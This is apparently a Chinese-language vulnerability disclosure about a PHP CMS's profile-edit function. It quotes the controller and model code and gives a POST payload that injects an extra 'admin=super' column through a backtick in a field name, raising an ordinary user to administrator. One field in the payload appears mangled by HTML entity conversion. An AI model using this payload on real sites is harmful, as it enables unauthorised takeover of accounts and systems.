<p>问题出在 用户修改资料的地方</p><pre class="">/system/module/user/control.php</pre><pre class="">public function edit($account = '')
{
if(!$account or RUN_MODE == 'front') $account = $this->app->user->account;
if($this->app->user->account == 'guest') $this->locate(inlink('login'));
if(!empty($_POST))
{
$this->user->update($account);
.......
</pre><p>跟进updata</p><p>/system/module/user/model.php</p><pre class="">public function update($account)
{
/* If the user want to change his password. */
if($this->post->password1 != false)
{
$this->checkPassword();
if(dao::isError()) return false;
$password = $this->createPassword($this->post->password1, $account);
$this->post->set('password', $password);
}
$user = fixer::input('post')
->cleanInt('imobile, qq, zipcode')
->setDefault('admin', 'no')
->remove('ip, account, join, visits')
->removeIF(RUN_MODE != 'admin', 'admin')
->get();
return $this->dao->update(TABLE_USER)
->data($user, $skip = 'password1,password2')
->autoCheck()
->batchCheck($this->config->user->require->edit, 'notempty')
->check('email', 'email')
->check('email', 'unique', "account!='$account'")
->checkIF($this->post->gtalk != false, 'gtalk', 'email')
->where('account')->eq($account)
->exec();
}
</pre><p>fixer这个类的代码有点长就不贴了,看上面的代码也能大概看得懂它的作用。。</p><p>普通用户和管理员是在一个表的,的区别就是 admin字段。</p><p>总之对我们post的数据做了 foreach然后带入了 updata</p><p>当然他 有remove admin的,可是这太好绕过了。</p><p>直接看利用吧~</p><p>注册用户后 来到 </p><p><a href="http://localhost/user-edit.html" rel="nofollow">http://localhost/user-edit.html</a>修改资料</p><p>改包</p>
post如下数据
```
realname=aaaaaa&email=a%40qqqq.com&password1=&password2=&company=&address=&zipcode=&mobile=&phone=&qq`%3D1,`admin=super>alk=
```
<p>即可提升成为管理员。</p><p>可以看mysql的日志</p><p><img alt="1.jpg" src="https://images.seebug.org/contribute/ae677b1d-fda0-429b-b601-7b54ee36609f-1.jpg" data-image-size="1220,53"><br></p>
暂无评论